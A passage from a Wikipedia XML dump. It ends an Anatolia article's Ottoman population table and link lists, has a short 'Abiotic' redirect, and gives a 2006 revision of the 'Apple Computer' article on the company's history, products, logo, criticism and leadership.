| Sanjak of Manisa || 83,625 || 247,778 || 3,960 || &amp;nbsp; ||337,925
|-
| Sanjak of Aydin || 54,633 || 162,554 || 634 || &amp;nbsp; ||219,959
|-
| Sanjak of Mentese || 27,798 || 197,317 || 430 || &amp;nbsp; ||205,457
|-
| Sanjak of Denizli || 7,710 || 113,700 || 0 || &amp;nbsp; ||142,142
|- style=&quot;background-color:#E9E9E9&quot;
|colspan=&quot;7&quot;|'''Vilayet of Bursa''':
|-
| Sanjak of Bursa || 82,503 || 215,492 || 50,809 || &amp;nbsp; ||353,976
|-
| Sanjak of Balikesir || 150,946 || 194,391 || 17,882 || &amp;nbsp; ||239,236
|-
| Sanjak of Kutahya || 16,800 || 244,698 || 5,040 || &amp;nbsp; ||250,938
|-
| Sanjak of Afyon || 1,200 || 291,317 || 8,800 || &amp;nbsp; ||317,017
|-
| Sanjak of Erdogrul (Bilecig) || 26,970 || 246,851 || 7,495 || &amp;nbsp; ||408,957
|- style=&quot;background-color:#E9E9E9&quot; 
|colspan=&quot;7&quot;|'''Vilayet of Konya''':
|-
| Sanjak of Konya || 8,589 || 294,191 || 6,900 || &amp;nbsp; ||325,180
|-
| Sanjak of Atalya || 10,253 || 196,087 || 489 || &amp;nbsp; ||207,258
|-
| Sanjak of Burdur || 2,565 || 149,968 || 987 || &amp;nbsp; ||153,565
|-
| Sanjak of Nigde || 55,518 || 174,140 || 753 || &amp;nbsp; ||230,490
|-
| Sanjak of Hamid Abad (Isparta) || 10,096 || 174,337 || 600 || &amp;nbsp; ||185,056
|- style=&quot;background-color:#E9E9E9&quot; 
|colspan=&quot;7&quot;|'''Vilayet of Ankara''':
|-
| Sanjak of Ankara || 3,154 || 265,283 || 14,019 || &amp;nbsp; ||283,043
|-
| Sanjak of Kirsehir || 717 || 116,999 || 346 || &amp;nbsp; ||118,062
|-
| Sanjak of Kayseri || 23,201 || 157,331 || 44,985 || &amp;nbsp; ||226,912
|-
| Sanjak of Yozgat || 18,801 || 128,787 || 39,448 || &amp;nbsp; ||194,281
|- style=&quot;background-color:#E9E9E9&quot; 
|colspan=&quot;7&quot;|'''Vilayet of Kastamonu''':
|-
| Sanjak of Kastamonu || 10,783 || 334,337 || 1,424 || &amp;nbsp; ||346,552
|-
| Sanjak of Sinop || 7,986 || 319,224 || 507 || &amp;nbsp; ||324,738
|-
| Sanjak of Kankiri || 1,143 || 165,407 || 960 || &amp;nbsp; ||167,510
|-
| Sanjak of Bolu || 5,007 || 119,467 || 314 || &amp;nbsp; ||129,846
|- style=&quot;background-color:#E9E9E9&quot; 
|colspan=&quot;7&quot;|'''Vilayet of Sivas''':
|-
| Sanjak of Sivas || 7,702 || 451,214 || 64,070 || &amp;nbsp; ||522,986
|-
| Sanjak of Amasya || 36,739 || 198,000 || 50,600 || &amp;nbsp; ||285,339
|-
| Sanjak of Karahisar-Sarki || 27,761 || 38,500 || 18,046 || &amp;nbsp; ||84,307
|-
| Sanjak of Tokat || 27,174 || 151,800 || 37,919 || &amp;nbsp; ||216,893
|- style=&quot;background-color:#E9E9E9&quot; 
|colspan=&quot;7&quot;|'''Vilayet of Trebzon''':
|-
| Sanjak of Trabzon || 154,774 || 404,656 || 26,321 || &amp;nbsp; ||583,751
|-
| Sanjak of Samsun (Djanik) || 136,087 || 233,454 || 22,585 || &amp;nbsp; ||392,126
|-
| Sanjak of Lazistan || 2,924 || 231,885 || 0 || &amp;nbsp; ||234,809
|-
| Sanjak of Argiropolis (Gumus-Haneh) || 59,748 || 87,871 || 1,718 || &amp;nbsp; ||149,337
|}

==See also==
*[[Hayastan]] (Greater Armenia)
*[[Cilicia]] (Lesser Armenia)
*[[Western Armenia]] (Ottoman Armenia)
*[[Kurdistan]]
*[[Lazistan]]
*[[Pontus]]
*[[Ajaria]]
*[[List of ethnic groups]] 
*[[Levant]]
*[[Ancient Near East]]
*[[Middle East]]
*[[History of Ottoman Armenia]]
[[Category:Anatolia| ]]
[[Category:Middle East]]
[[Category:Near East]]

{{Region}}

[[ar:أناضول]]
[[ast:Anatolia]]
[[bg:Мала Азия]]
[[ca:Anatòlia]]
[[cs:Malá Asie]]
[[da:Anatolien]]
[[de:Kleinasien]]
[[et:Anatoolia]]
[[el:Μικρά Ασία]]
[[es:Anatolia]]
[[eo:Malgrand-Azio]]
[[fa:آناتولی]]
[[fr:Anatolie]]
[[gl:Anatolia]]
[[ko:소아시아]]
[[hr:Anatolija]]
[[id:Anatolia]]
[[is:Anatólía]]
[[it:Anatolia]]
[[he:אסיה הקטנה]]
[[ku:Anatoliya]]
[[la:Asia Minor]]
[[lb:Anatolien]]
[[nl:Anatolië]]
[[nds:Anatolien]]
[[ja:アナトリア半島]]
[[ka:ანატოლია]]
[[no:Anatolia]]
[[pl:Anatolia (Turcja)]]
[[pt:Anatólia]]
[[ru:Малая Азия]]
[[simple:Asia Minor]]
[[sl:Anatolija]]
[[fi:Anatolia]]
[[sv:Anatolien]]
[[th:อนาโตเลีย]]
[[tr:Anadolu]]
[[uk:Мала Азія]]
[[zh:安那托利亚]]</text>
    </revision>
  </page>
  <page>
    <title>Abiotic</title>
    <id>855</id>
    <revision>
      <id>15899369</id>
      <timestamp>2005-03-13T01:44:12Z</timestamp>
      <contributor>
        <username>Woohookitty</username>
        <id>159678</id>
      </contributor>
      <comment>Fix Double Redirect - [[WP:WS|Please help out by clicking here to fix someone else's Wiki syntax]].</comment>
      <text xml:space="preserve">#REDIRECT [[Ecology]]</text>
    </revision>
  </page>
  <page>
    <title>Apple Computer</title>
    <id>856</id>
    <revision>
      <id>42159476</id>
      <timestamp>2006-03-04T05:21:49Z</timestamp>
      <contributor>
        <username>Hohohob</username>
        <id>354391</id>
      </contributor>
      <comment>/* Current products */</comment>
      <text xml:space="preserve">{{applecomputer}}
&lt;!--Please keep this article focused on the company. Try to refrain from turning this into an article on their products or innovations, except when relevant to the manufacturers. Although not terribly long, any reduction in length that does not hurt content is nice.--&gt;
'''Apple Computer, Inc.  '''({{nasdaq|AAPL}} and {{lse|ACP}}) is an [[United States|American]] [[computer]] technology company. Its headquarters are located at 1 [[Infinite Loop (street)|Infinite Loop]], [[Cupertino, California|Cupertino]], [[California]], part of [[Silicon Valley]]. Apple was a major player in the [[personal computer]] revolution in the 1970s.

The [[Apple II]] [[microcomputer]], introduced in 1977, was a hit with home users. In 1983, Apple introduced the first commercial personal computer to use a [[graphical user interface]] (GUI), the [[Apple Lisa|Lisa]]. In 1984, Apple introduced the revolutionary [[Apple Macintosh|Macintosh]]. The Macintosh (commonly called the &quot;Mac&quot;) was the first successful commercial implementation of a GUI, which is now used in all major computers.

Apple is known for its innovative, well-designed hardware and software, such as the [[Apple iPod | iPod]] and the [[iMac]], as well as the well-known [[iTunes]] application (part of the [[iLife]] suite) and [[Mac OS X]], its current [[operating system]]. 

==History==
{{main|History of Apple Computer}}


===1976 to 1980 - The founding of Apple===
Apple Computer was founded in [[Los Gatos, California]] on [[April 1]], [[1976]] by [[Steve Jobs]], [[Steve Wozniak]] and [[Ronald Wayne]], to sell the [[Apple I]] personal computer kit at $666.66. They were hand-built in Jobs' parents' garage, and the Apple I was first shown to the public at the [[Homebrew Computer Club]]. 

Jobs and Wozniak, (&quot;the two Steves&quot;) had been friends since 1971. Jobs managed to interest Wozniak in assembling a personal computer and selling it. Jobs approached a local computer store, The Byte Shop, who, after Jobs' famous persuasion, ordered fifty units and paid $500 for each unit. Jobs then ordered components from Cramer Electronics, a national electronic parts distributor. Using a variety of methods, including borrowing space from friends and family and selling various items including a [[VW Type 2|Volkswagen Type 2 bus]], Jobs managed to secure the parts needed while Wozniak and another friend, [[Ronald Wayne]], assembled the Apple I. They were delivered in June, and paid for on delivery. Eventually 200 Apple I computers were built.

Note that the original Apple I was actually a motherboard, it was not a full computer as we know it today.

The [[Apple II]] was introduced on [[April 16]], [[1977]] at the first [[West Coast Computer Faire]]. It was popular with home users and was occasionally sold to business users, particularly after the release of the first spreadsheet for any computer called [[VisiCalc]]. (See the timeline for dates of Apple II family model releases&amp;mdash;the 1977 Apple II and its younger siblings, the II Plus, IIe, IIc and IIGS.) But it was a mild success for the small computer company.

By now, Jobs and his partners had a staff of computer designers and a production line. The Apple II was succeeded by the [[Apple III]] in May 1980 as the company struggled to compete against [[IBM]] and [[Microsoft]] in the lucrative business and corporate computing market. The designers of the Apple III were forced to comply with Jobs' request to omit the cooling fan, and this ultimately resulted in thousands of recalled units due to overheating. An updated version was introduced in 1983 but it was also a failure due to bad press and discouraged buyers. Nevertheless, the principals of the company persevered with further innovations and marketing.

Jobs and several other Apple employees including [[Jef Raskin]] visited [[Xerox PARC]] in December 1979, to see the [[Alto (computer)|Alto computer]]. Xerox granted Apple engineers three days of access to the PARC facilities in return for selling them one million dollars in pre-[[IPO]] Apple stock (approximately $18 million net).

===1981 to 1989 - Lisa and Macintosh===
[[Image:Ad_apple_1984.jpg|left|thumb|250px|The protagonist of Apple's well known [[1984 (television commercial)|1984 ad]], set in a [[dystopia]]n future modeled after the [[Orwellian]] novel [[Nineteen Eighty-Four]].]]
In the early 1980s, IBM and Microsoft continued to gain market share at Apple's expense in the personal computer industry. Using a fundamentally different business model, [[IBM]] marketed an open hardware standard created with the [[IBM PC]], which was bundled with [[Microsoft]]'s [[MS-DOS]] (MicroSoft-Disk Operating System). In 1983, Apple introduced the first [[personal computer]] to be sold to the public with a [[graphical user interface]] (GUI), named the [[Apple Lisa|Lisa]]. Using a GUI, the user communicates with the computer by interacting with icons onscreen that resemble real-world items (folders, documents, images). However, the Lisa was a commercial failure as a result of its high price tag ($9995) and limited software titles.

After the Lisa, Apple began work on a similar but less expensive computer to be called the [[Apple Macintosh|Macintosh]]. It was launched in 1984 with the now famous [[1984 (television commercial)|Super Bowl advertisement]] based on [[George Orwell]]'s novel ''[[1984 (novel)|1984]]''. It was an immediate success, particularly in the world of graphic and communications design, where its [[GUI]] (which was to become the industry standard) and ability to handle large graphic files surpassed anything else on the market. The Macintosh also spawned the concept of [[Apple evangelist|Mac evangelism]] among users, which was pioneered by Apple employee and later Apple Fellow, [[Guy Kawasaki]]. 

In anticipation of the Macintosh launch, [[Bill Gates]], co-founder and chairman of [[Microsoft]], was given several Macintosh prototypes in 1983 to develop software for the &quot;Mac&quot;. In 1985, Microsoft launched [[Microsoft Windows]], with its own GUI for IBM PCs using many of the elements of the Macintosh OS.

An internal power struggle developed between Jobs and new CEO [[John Sculley]] in 1985. Apple's board of directors sided with Sculley, and Jobs was asked to resign from the company. Jobs then founded [[NeXT]] Inc., a computer company that built machines with futuristic designs and ran the UNIX-derived [[NEXTSTEP|NeXTstep]] operating system. Although powerful, NeXT computers never caught on with buyers, due in part to their high purchase price.

===1990 to 1993 - PowerBook and decline===
Having learned several painful lessons after introducing the bulky [[Macintosh Portable]] in 1989, Apple turned to industrial designers and adopted a product strategy based in three portable devices. One portable was built by [[Sony]], which had a strong reputation for designing small, durable and functional electronics devices. Sony took the specs of the Mac Portable, put in a smaller two-hour battery, a much smaller (physically) twenty [[megabyte]] [[Hard disk|hard drive]] and a smaller nine-inch [[Liquid crystal display|passive matrix screen]]. 

Called the [[Powerbook|PowerBook 100]], this landmark product was introduced in 1991 and established the modern form and [[ergonomics|ergonomic]] layout of the [[laptop computer]]. This solidified Apple's reputation as a quality manufacturer, both of desktop and now portable machines. The success of the PowerBook and several other Apple products during this period led to increasing revenue. The [[magazine]] ''[[MacAddict]]'' named the period between 1989 to 1991 the &quot;first golden age&quot; of the Macintosh. 

This golden age was not to last. The introduction of [[Microsoft Windows]] presented an interface that many people thought was close enough to the Macintosh in terms of ease of use and overall look and feel. Apple thought that Windows was ''too'' close, and sued [[Microsoft]] for theft of intellectual property.

At about the same time, Apple branched out into consumer electronics. One example of this product diversification was the [[Apple QuickTake]] digital camera (which never caught on). A more famous example was the [[Apple Newton|Newton]], an early [[Personal digital assistant|PDA]] that was introduced in 1993. Though it failed commercially, it defined and launched the new category of computing and was a forerunner and inspiration of devices such as [[BlackBerry]], [[Palm Pilot]] and its descendants-[[PocketPC]]s.

During the 1990s, Apple greatly expanded its computer lineup as well. It offered a multitude of different models, yet it failed to adequately explain to the public why it should choose one model over another.

The costs involved in making such a wide variety of products, coupled with some highly-publicized product recalls and the growing popularity of Microsoft Windows, all lead to the near-bankruptcy of Apple in the mid-to-late 1990s.


=== 1994 to 1997 - Attempts at reinvention ===

By the mid-1990s, Apple realized that it had to reinvent the Macintosh in order to stay competitive in the computer world. The needs of both computer users and computer programs were becoming, for a variety of technical reasons, harder for the existing hardware and operating system to address.

In 1994, Apple surprised its loyalists by allying with its long-time competitor IBM and Motorola in the so-called [[AIM alliance]]. This was a bid to create a new computing platform (the [[PowerPC Reference Platform]] or PReP) which would use IBM and [[Motorola]] hardware coupled with Apple's software. The AIM alliance hoped that PReP's performance and Apple's software would leave the PC far behind, thus countering Microsoft, which had become Apple's chief competitor.

Towards this end, Apple tried to recruit other companies that would build PReP-compliant computers. Apple hoped to expand the Mac OS market share by licensing the operating system to these other companies, like Microsoft had promoted DOS and Windows by licensing them to external manufacturers. Only a few companies--notably [[Power Computing]] and [[UMAX]]--agreed to produce these computers. But eventually the licensing program was suspended.

As the first step toward launching the PReP platform, Apple started the [[Power Macintosh]] line in 1994, using IBM's [[PowerPC]] processor. This processor utilized a [[RISC]] architecture, which differed substantially from the Motorola [[68k]] series that had been used by all previous Macs. Apple's OS's were rewritten so that most software for the older Macs could run on the PowerPC series (in [[emulation]]).

Also throughout the mid to late 1990s, Apple tried to improve its operating system's multitasking and memory management. After first attempting to modify its existing code, Apple realized that it would be better to start with an entirely new operating system and then modify it to fit the Macintosh interface. Apple did some preliminary work with IBM towards this goal with the [[Taligent]] project, but that project never produced a replacement operating system. They then investigated using [[Be Incorporated|Be]]'s [[BeOS]], [[NeXT]]'s [[NeXTstep]] OS, and also Microsoft's [[Windows NT]] OS. NeXTstep was chosen, and this supplied the platform for the modern OS X.

On [[February 4]], [[1997]], Apple completed its purchase of NeXT and its NeXTstep operating system, thus bringing Steve Jobs back into Apple. On [[July 9]], [[1997]], [[Gil Amelio]] was ousted as CEO of Apple by the board of directors after overseeing a 12-year record-low stock price and crippling financial losses, despite an outstanding decade of innovation. Jobs stepped in as the interim CEO and began a critical restructuring of the company's product line.

===1998 to 2005 - New beginnings===
[[Image:Steve Jobs with iMac.jpg|thumb|250px|right|[[Steve Jobs]] introducing the original [[iMac]] computer in 1998.]]
In 1998, a year after Jobs had returned to the company, Apple introduced a new all-in-one Macintosh (echoing the original [[Macintosh 128K]]): the [[iMac]], a new design that eliminated most Apple-standard connections like [[SCSI]] and [[Apple Desktop Bus|ADB]] in favor of two [[Universal Serial Bus|USB]] ports. While technically not impressive (it was aimed at a general market), it featured an innovative new design - its translucent plastic case, originally [[Bondi blue (color)|Bondi Blue]] and [[white]], and later many other colors, is considered an industrial design hallmark of the late-[[1990s|90s]]. 

The iMac design team was led by Jonathan Ive (who later also designed the iPod).  The iMac proved to be phenomenally successful, with 800,000 units sold in 1998, making the company a profit that year of $309 million - Apple's first profitable year since [[Michael Spindler]] took the position of CEO of the company in 1993. The Power Macintosh was redesigned along similar lines, and continues to evolve to this day.

At the [[National Association of Broadcasters]] Apple purchased the Final Cut software from [[Macromedia]], beginning their entry into the [[digital video]] editing market. [[iMovie]] was released in [[1999]], for consumers, and [[Final Cut Pro]] was released for professionals in the same year. Final Cut Pro has gone on to be a significant video editing program. Similarly, in [[2000]], Apple bought [[Astarte]]'s DVDirector software, which morphed into [[iDVD]] (for consumers) and [[DVD Studio Pro]] (for professionals) at the [[Macworld Conference and Expo]] of [[2001]].

In 2001, Apple introduced [[Mac OS X]], the operating system based on NeXT's [[NEXTSTEP|NeXTstep]] and [[BSD]] Unix. Aimed at consumers and professionals alike, Apple claims that OS X marries stability, reliability and security of the [[Unix]] operating system with the ease of a completely overhauled user interface. To aid users in moving their applications from OS 9, the new operating system allowed the use of [[Mac OS 9]] applications through OS X's [[Classic (Mac OS X)|Classic environment]]. Apple's [[Carbon (API)|Carbon]] API also allowed developers to adapt their OS 9 software to use Mac OS X's features with a (claimed) simple re-compile.

[[Image:Applecomputerheadquarters.jpg|left|thumb|200px|Company headquarters on [[Infinite Loop (street)|Infinite Loop]] in [[Cupertino]], [[California]].]]
In May 2001, after much speculation, Apple announced the opening of the [[Apple Store (retail)|Apple retail store]]s, to be located in major U.S. consumer locations. These stores were designed for two purposes: to stem the tide of Apple's declining share of the computer market and to counter a poor record of marketing Apple products by third-party retail outlets.

In late 2001, Apple introduced its first [[iPod]] portable [[digital audio player]], a move that has proven to be phenomenally successful with over 42 million units sold even though it was not originally perceived to be a successful product.&lt;ref&gt;[http://news.bbc.co.uk/2/hi/business/4625262.stm BBC News story on Apple's first quarter 2006 earnings report]&lt;/ref&gt; Combined with a scheme to offer downloadable songs at US 99 cents per song through Apple's [[ITunes Music Store|iTunes Music Store]], there had been over [http://www.apple.com/itunes/1billion/ 1,000,000,000] downloads for iPod players by February 2006&lt;ref&gt;[http://www.apple.com/quicktime/qtv/mwsf06/ Steve Jobs' January 2006 MacWorld keynote address]&lt;/ref&gt;. 

In [[2002]], Apple purchased [[Nothing Real]], and their advanced digital compositing application, [[Shake (software)|Shake]], raising Apple's professional commitment even higher. In the same year they also acquired [[Emagic]], and with it, obtained their professional-quality music productivity application, [[Logic Pro|Logic]], which led to the development of their consumer-level [[GarageBand]] application. With [[iPhoto]]'s release in 2002 as well, this completed Apple's collection of consumer and professional level creativity software, with the consumer-level applications being collected together into the [[iLife]] suite.

On March 10, 2005 Apple Computer announced its support for [[Sony]]'s [[Blu-Ray]] technology and joined the [[Blu-ray Disc Association]], or BDA. In a keynote address on [[June 6]], [[2005]], Steve Jobs officially announced that Apple would begin producing Intel-based Macintosh computers beginning in 2006.&lt;ref&gt;Apple press release [http://www.apple.com/pr/library/2005/jun/06intel.html Apple to Use Intel Microprocessors Beginning in 2006]&lt;/ref&gt; Jobs confirmed [[Mac rumors community|rumor]]s that the company had secretly been producing versions of its current operating system [[Mac OS X]] for both PowerPC and Intel processors for the previous five years, and that the transition to Intel processor systems would last until the end of 2007. 

Jobs surprised the industry at Macworld 2006 however, by announcing the first Intel based Apple computers would begin selling January 2006 and that the transition would be complete by the end of that same year. Mac OS X is based on [[OPENSTEP]], an operating system originally available for many platforms. Apple's own [[Darwin (operating system)|Darwin]], the [[open source]] underpinnings of OS X, is also compiled for Intel's ''x''86 architecture.&lt;ref&gt;See articles from [http://news.com.com/Apple+shakes+hands+with+Intel/2009-1006_3-5733319.html news.com], [http://www.appleinsider.com/article.php?id=1112 Apple insider], and [http://nytimes.com/2005/06/06/technology/06apple.html The New York Times]&lt;/ref&gt;

With the introduction of the [[Power Mac G5]] in [[June 2003]], Apple abandoned flashy colors in favor of white [[polycarbonate]] for consumer lines such as the iMac and iBook, as well as the educational [[eMac]], and anodized [[aluminum]] or [[titanium]] for professional products like the [[Power Mac G5]], [[PowerBook G4]] and [[MacBook Pro]], as well as the low-cost [[Mac mini]].

[[Image:MacBook.jpg|right|thumb|The new [[MacBook Pro]] is Apple's first consumer laptop with an Intel microprocessor.]]

===2006 to present - Start of the Intel era===
{{main|Apple Intel transition}}
On [[January 10]], [[2006]], Apple released its first [[Intel]] chip computers, a new [[notebook computer]] known as the [[MacBook Pro]] (a 15.4 inch laptop which replaced the [[PowerBook]] G4 line and offers a 4X speed improvement) and a new (though identical) [[iMac]] with a 2-3 times faster performance increase. Both used Intel's [[Intel Core|Core Duo]] chip technology. 

The current operating system, OS X Tiger 10.4(.5), runs natively on the new Intel machines, as do many applications, such as iLife '06. Other applications, such as [[Microsoft Office]] and [[Adobe Photoshop]], compiled for the PowerPC, run in emulation mode, using a technology known as [[Rosetta (software)|Rosetta]]. 

(see [[Apple Intel transition]] for more information regarding the transition)

The Intel-based machines do not support Classic (as it has not been translated to x86 binaries), so applications that run only in Mac OS 9 and earlier will not run on these machines. All Macintosh product lines are expected to transition to Intel processors by the end of 2006. The Apple online store sold out of 17-inch iMac G5 computers in [[February 2006]], and Apple ended the life of its 15 inch PowerBook G4 on Wednesday the 22nd of February 2006.

The Apple/Intel partnership has coined a new catch-phrase among computer users: &quot;Mactel&quot;, in response to the phrase &quot;[[Wintel]],&quot; an informal moniker that describes all Intel-powered systems running the Microsoft Windows operating system. This moniker has never been used seriously by Apple's PR or exceutives, mainly in use only in Apple fanatic circles.

==Current products==
[[Image:Ipod 5th Generation white.jpg|thumb|right|The [[Apple iPod | iPod]], shown here, is one of Apple's most successful products. The latest iPod, with a 60 [[gigabyte]] sized hard drive, is capable of playing video.]]

Hardware :

* Power Mac G5
* MacBook Pro
* PowerBook (G4)
* iMac (Intel)
* iMac (G5)
* Mac mini (Intel)
* iBook (G4)
* Xserve

* iPod 5G
* iPod Nano
* Various iPod acessories








Software :

* Mac OS X
* iLife (iPhoto, iMovie, iDVD, iWeb, Garageband)
* iWork (Pages, Keynote)
* Final Cut Pro
* Final Cut Express
* Aperture
* Logic Pro
* Logic Express
* Shake
* Motion
* Etc.

===Hardware===
Apple introduced the [[Apple Macintosh]] family in 1984 and today makes consumer, professional, and educational computers. The [[Mac mini]] is the company's consumer sub-desktop computer, introduced in January 2005 and designed to motivate [[Microsoft Windows|Windows]] users to switch to the Macintosh platform. The [[iMac]] is a consumer desktop computer that was first introduced by Apple in 1998, and its popularity helped save the company from bankruptcy. Now in its third design iteration, the iMac is similar in concept to the original Macintosh in that the monitor and computer are housed in a single unit. The [[Power Mac G5]], Apple's desktop computer for the professional and creative market, is a member of the [[Power Macintosh]] series first introduced in 1994. The [[eMac]] is Apple's cheaper alternative to the iMac for the education market. Apple's server range includes the [[Xserve]], a single-processor, dual-processor, and cluster-node server range, and the [[Xserve RAID]] for server storage options.

Apple introduced the [[iBook]] consumer portable computer as a companion to the iMac; it is Apple's lowest cost portable computer. The [[MacBook Pro]] is the professional portable computer alternative to the iBook intended for the professional and creative market and replaced the [[PowerBook]] range. PowerBooks are still being manufactured and sold, but is expected that Apple will phase out both the PowerBook and iBook lines upon arrival of the heavily rumoured MacBook, the low end version of the [[MacBook Pro]] and [[Intel]]-based version of the [[iBook]]. The Powerbook range was first introduced in 1991 and helped Apple's profits increase during the 1990s.

In 2001, Apple introduced the [[Apple iPod |iPod]] [[digital music player]] and currently sells the iPod (with video), available in 30 and 60 GB models; the [[iPod nano]], available in 1 GB, 2GB and 4 GB models; and the [[iPod shuffle]], available in 512 MB and 1 GB models. 

[[Image:MacminiWhiteBGSmall.jpg|thumb|right|The [[Mac mini]] is Apple's lowest cost desktop computer.]]
Apple sells a variety of computer accessories for Macintosh computers including the [[iSight]] video conferencing camera, the [[AirPort]] wirelss networking products; [[Apple Cinema Display|Apple Cinema HD Display]] and [[Apple Displays]] computer displays; [[Apple Mighty Mouse|Mighty Mouse]] and [[Apple Wireless Mouse]] computer mice; the [[Apple Wireless Keyboard]] computer keyboard and the [[Apple USB Modem]].

===Software===
Apple independently develops [[computer software]] titles for its [[Mac OS X]] operating system. Much of the software Apple develops is bundled with its computers. An example of this is the consumer-oriented [[iLife]] software package which bundles [[iDVD]], [[iMovie|iMovie HD]], [[iPhoto]], [[iTunes]], [[GarageBand]], and [[iWeb]]. Both [[iTunes]] and a feature-limited version of the [[QuickTime]] media player are available as free downloads for both Mac OS X and Windows.  For presentation and page layout, [[iWork]] is available.

Apple also offers a range of professional software titles. Their range of server software includes the [[Mac OS X Server]] operating system; [[Apple Remote Desktop]], a remote desktop control application; [[WebObjects]], [[Java 2 Platform, Enterprise Edition|Java]] [[World Wide Web|Web]] [[application server]]; and [[Xsan]], a [[Storage Area Network]] file system. For the professional creatives market, there is [[Aperture (software)|Aperture]] for professional [[RAW]]-format [[photo]] processing; [[Final Cut Studio]], a video software package, as well as [[Final Cut Express HD]], a cut-down version, for [[Standard-definition television|SD]] and [[High-definition television|HD]] video editors; [[Logic Pro]], a comprehensive music toolkit, and [[Logic Express]], its prosumer cousin; and [[Shake (software)|Shake]], an advanced effects composition program.

Apple also offers online services with [[.Mac]] which bundles [[Web page|.Mac HomePage]], [[E-mail|.Mac Mail]], .Mac Groups [[social network service]], [[iDisk|.Mac iDisk]], [[Backup (backup software)|.Mac Backup]], [[iSync|.Mac Sync]], and Learning Center online tutorials.

:See also:
:*[[List of Macintosh models grouped by CPU]]
:*[[List of Macintosh software]]
:*[[List of products discontinued by Apple Computer]]

==Corporate affairs==
===Logo===
[[Image:Originalapplelogo.jpg|thumb|left|110px|The original Apple logo featuring [[Isaac Newton]] under the fabled apple tree.]]
[[Image:Striped apple logo.png|thumb|right|110px|The rainbow Apple logo, used from late 1976 to early 1998.]]
[[Image:Apple-logo.png|thumb|right|110px|The current Apple logo. On products, a simple gray version of the Apple is used, without embellishing it as has been done to computerized images.]]

The original Apple logo was designed by [[Steve Jobs]] and [[Ron Wayne]] and depicts Isaac Newton sitting under an apple tree. However this design was soon to be replaced by the now famous [[rainbow]] apple with a &quot;bite&quot; taken out of it. It was one of a set of designs [[Rob Janoff]] presented Jobs in 1976 &lt;ref&gt;[http://wired-vig.wired.com/news/mac/0,2125,60597,00.html Wired News: Apple Doin' the Logo-Motion]&lt;/ref&gt;.

In the book Zeroes and Ones, author [[Sadie Plant]] speculates that the rainbow Apple logo was a homage to [[Alan Turing]], the homosexual father of modern computer science who committed suicide by eating a cyanide-laced apple in imitation of the movie ''[[Snow White and the Seven Dwarfs (1937 film)|Snow White and the Seven Dwarfs]]''. This seems to be an [[urban legend]] as the Apple logo was designed two years before [[Gilbert Baker]]'s [[Rainbow flag|rainbow pride flag]], and did not follow the same color pattern.

In 1998, the logo became single-colored, though no specific color is prescribed; for example, it is grey on the [[Power Mac G5]] and [[iMac G5|Apple iMac]], blue (by default) in [[Mac OS X]], chrome on the 'About this Mac' panel and the boot screen in OS X 10.3 and 10.4, red on many [[Software]] packages, and white on the [[iBook]], [[PowerBook G4]] and [[MacBook Pro]]. The logo's shape is one of the most recognized brand symbols in the world, and is featured quite prominently on all Apple products and retail stores.

===Criticism===
Apple was criticized for its [[vertical integration|vertically integrated]] business model, which runs against the  &quot;received wisdom&quot; of some economists, particularly those who study the computer industry. However, the company is profitable. Others criticize the company by suggesting it has been personality-driven, especially during the two eras of Steve Jobs' tenure. Some even regard the company as a cult or at least having cult-like features. Jobs' charisma, infamously referred to as his [[reality distortion field]], has drawn criticism. 

From a technical standpoint, Apple was also criticized for having a closed and proprietary architecture with the original Macintosh and refusing to adopt open standards; for many years a &quot;[[Not Invented Here]]&quot; (NIH) culture seemed to prevail. The [[ITunes Music Store|iTunes Music Store]] continues this trend, utilizing a proprietary [[Digital rights management|Digital Rights Management]] system called [[FairPlay]] that requires burning and re-ripping a CD to place purchased songs on any [[digital audio player]] besides the [[Apple iPod | iPod]].

That trend was largely reversed with [[Mac OS X]], and the company now has an official policy of adopting relevant open industry standards. Mac OS X is based on a [[free software]] / [[Open-source software|open source software]] [[Kernel (computer science)|kernel]] and core operating system called [[Darwin (operating system)|Darwin]]. Apple also uses an open source framework called [[WebKit]] in its [[Safari (web browser)|Safari web browser]]. 

Apple has used industry-standard hardware technologies for many years. Many Apple technologies have also become industry standards where no former standard existed, for example [[Zeroconf|Bonjour]] zero-configuration networking, and [[FireWire]]. Some non-Apple technologies only gained wide industry acceptance after Apple adopted them, including 3.5-inch [[floppy disk]]s, [[SCSI]], the [[Universal Serial Bus]] (USB), [[Wi-Fi]] and, of course, graphical user interfaces (GUIs). Apple has recently adopted an Intel-based architecture. Apple's industry-standard software implementations include [[iCalendar]], as well as a host of other networking protocols.

[[Open-source software|Open source software]] advocates are often critical of Apple's attempt to appeal to their particular movements. Such advocates claim that such a marketing scheme is not taken seriously enough by Apple because Mac OS X has many proprietary technologies in essential areas. Other open source advocates make a counter-argument that Apple has done much more for open source software than many other major commercial software developers by releasing large portions of source code to the public through the [[Apple Public Source License]] (APSL). Some third-party developers are also critical of the competing factions within Apple itself, noting an apparent rivalry between the developers of [[Cocoa (API)|Cocoa]], which came from NeXT, and those of [[Carbon (API)|Carbon]], which came from Apple. This rivalry is seen as counterproductive and unnecessary by many developers.

Apple's retail initiative has had a mixed reception despite its success promoting the Apple brand. Retailers have suggested that Apple-owned retail stores receive preference when receiving Apple hardware, obtaining limited stock product earlier and at lower prices. This accusation is denied by Apple.

&lt;!-- Image with unknown copyright status removed: [[Image:Steve Jobs2 cropped.png|thumb|100px|right|Steve Jobs, the current [[Chief executive officer|CEO]].]] --&gt;

===Apple CEOs, 1977-present===
&lt;!--If you change the title of this section, please change the link at [[List of Apple Computer CEOs]] correspondingly.--&gt;
* 1977 - 1981: [[Michael Scott (Apple Computer)|Michael &quot;Scotty&quot; Scott]]
* 1981 - 1983: [[Mike Markkula]]
* 1983 - 1993: [[John Sculley]]
* 1993 - 1996: [[Michael Spindler]]
* 1996 - 1997: [[Gil Amelio]]
* 1997 - present: [[Steve Jobs]]

===Current Apple Board of Directors===
* [[Fred D. Anderson]], managing director of [[Elevation Partners]]
* [[Bill Campbell (CEO)|Bill Campbell]], chairman of [[Intuit, Inc.]]
* [[Millard Drexler]], chairman and CEO of [[J.Crew]]
* [[Al Gore]], former [[Vice President of the United States]]
* [[Steve Jobs]], CEO of Apple and [[Pixar]]
* [[Arthur D. Levinson]], chairman and CEO of [[Genentech]]
* [[Jerry York (CEO)|Jerry York]], chairman, president and CEO of [[Harwinton Capital]]

===Current Apple executives===
* [[Steve Jobs]], CEO
* [[Timothy D. Cook]], [[chief operating officer]]
* [[Jon Rubinstein]], senior vice president of [[iPod]] division
* [[Philip W. Schiller]], senior vice president of worldwide [[product marketing]]
* [[Bertrand Serlet]], senior vice president of [[software engineering]]
* [[Nancy R. Heinen]], senior vice president and general counsel
